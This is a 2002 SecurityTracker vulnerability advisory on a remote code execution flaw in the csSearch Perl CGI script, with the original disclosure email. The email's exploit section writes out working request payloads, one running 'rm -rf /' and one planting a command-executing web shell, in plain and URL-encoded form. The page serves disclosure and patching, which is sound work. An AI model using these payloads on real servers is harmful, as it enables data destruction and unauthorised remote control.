SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Questions?
Want to learn about SecurityTracker? We've got answers to frequently asked questions right here
Sign Up!





Category:  Application (Generic)  >  csSearch Vendors:  WWW.CGIscript.NET, LLC
csSearch Perl-based Search Engine Software Lets Remote Users Execute Arbitrary Perl Scripts on the System
Date:  Mar 26 2002
Impact:  Execution of arbitrary code via network, User access via network
Fix Available:  Yes   Exploit Included:  Yes   Vendor Confirmed:  Yes  
Version(s): 2.3
Description:  A vulnerability was reported in the csSearch Perl-based search engine script. A remote user can execute arbitrary commands on the server.

It is reported that a remote user can cause arbitrary configuration data to be written to the 'setup.cgi' file. This file is apparently loaded when the script is executed, allowing the remote user to cause arbitrary Perl code to be executed.

A remote user can invoke the following type of URL to load arbitrary Perl code that will be executed the next time the search engine is executed:

csSearch.cgi?command=savesetup&setup=PERL_CODE _HERE

Impact:  A remote user can execute arbitrary Perl code on the server.
Solution:  The vendor has released a fixed version (2.5), available at:

http://www.cgiscript.net/download/download.htm

Vendor URL:  www.cgiscript.net/cgi-script/csNews/csNews.cgi?database=cgi.db&command=viewone&id=7 (Links to External Site)
Cause:  Access control error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Underlying OS Comments:  Perl-based
Reported By:  Steve Gustin <stegus1@yahoo.com>
Message History:   This archive entry has one or more follow-up message(s) listed below.
Apr 11 2002 (csChatRBox is Also Vulnerable - Fix is Available) Re: csSearch Perl-based Search Engine Software Lets Remote Users Execute Arbitrary Perl Scripts on the System   (Steve Gustin <stegus1@yahoo.com>)
The csChatRBox cgi script is also affected.
Apr 11 2002 (csGuestbook is Also Vulnerable - A Fix is Available) Re: csSearch Perl-based Search Engine Software Lets Remote Users Execute Arbitrary Perl Scripts on the System   (Steve Gustin <stegus1@yahoo.com>)
The csGuestbook cgi script is also vulnerable.
Apr 11 2002 (csLiveReport is Also Vulnerable - A Fix is Available) Re: csSearch Perl-based Search Engine Software Lets Remote Users Execute Arbitrary Perl Scripts on the System   (Steve Gustin <stegus1@yahoo.com>)
The csLiveReport script is also vulnerable.
Apr 11 2002 (csNewsPro is Also Vulnerable - A Fix is Available) Re: csSearch Perl-based Search Engine Software Lets Remote Users Execute Arbitrary Perl Scripts on the System   (Steve Gustin <stegus1@yahoo.com>)
The csNewsPro cgi script is also vulnerable.



 Source Message Contents

Date:  Mon, 25 Mar 2002 14:47:23 -0800 (PST)
From:  Steve Gustin <stegus1@yahoo.com>
Subject:  CGIscript.net - csSearch.cgi - Remote Code Execution (up to 17,000 sites vulnerable)

 

CGIscript.net - csSearch.cgi - Remote Code Execution
(up to 17,000 sites vulnerable)
---------------------------------------------------------------------
Name      : csSearch.cgi - Remote Code Execution
Date      : March 25, 2002

Product   : csSearch
Version   : 2.3 (vulnerable)
Vuln Type : Access Validation Error
Severity  : HIGH RISK

Vendor    : WWW.CGIscript.NET, LLC.
Homepage  : http://www.cgiscript.net/


DISCUSSION:
---------------------------------------------------------------------
csSearch is a free perl cgi search script developed by
Mike Barone and Andy Angrick. According to the website
(cgiscript.net) over 17,000 people have downloaded
csSearch.

csSearch stores it's configuration data as perl code
in a file called "setup.cgi" which is eval()uated by
the script to load it back into memory at runtime. 
Due to an Access Validation Error, any user can cause
configuration data to be written to "setup.cgi" and
therefore execute arbitrary perl code on the server.

The paid version of this script, csSearch Pro, may
also be vulnerable.


EXPLOIT: 
---------------------------------------------------------------------
Configuration data is saved with the following URL. 
Note that any perl code would need to be URL encoded.

csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

For example, the classic "rm -rf /" example would be
as follows:

csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`

Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.

*ShowSearchForm = *Login = sub {
  print "<form method=post action=csSearch.cgi>Enter
Command (eg: ls -l)<br>";
  print "<input type=text name=cmd size=99> ";
  print "<input type=submit value=Execute><hr><xmp>";
  $in{'cmd'} && print `$in{'cmd'} 2>&1`;
  exit;
  };

URL Encoded as:

csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3D
post+action%3DcsSearch.cgi>Enter+Command+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcm
d+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd '}%26%26print`$in{'cmd'}+2>%261`;exit;}; IMPACT: --------------------------------------------------------------------- Because of the high number of users who have downloaded this script (over 17,000 according to cgiscript.net) and the fact that search engines can easily be used to identify sites with the unique "csSearch.cgi" script name, the risk posed by this flaw is very high indeed. SOLUTION: --------------------------------------------------------------------- Vendor has released a new version, csSearch 2.5, which patches the flaw. ISPs and Web hosts may want to consider searching for this script on their servers ("csSearch.cgi") and disabling it or advising their customers of the risk until they can install the patched version. DISCLAIMER --------------------------------------------------------------------- The information within this document may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any consequences whatsoever arising out of or in connection with the use or spread of this information. Any use of this information lays within the user's responsibility. FEEDBACK: --------------------------------------------------------------------- stegus1@yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Movies - coverage of the 74th Academy Awards® http://movies.yahoo.com/


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2002, SecurityGlobal.net LLC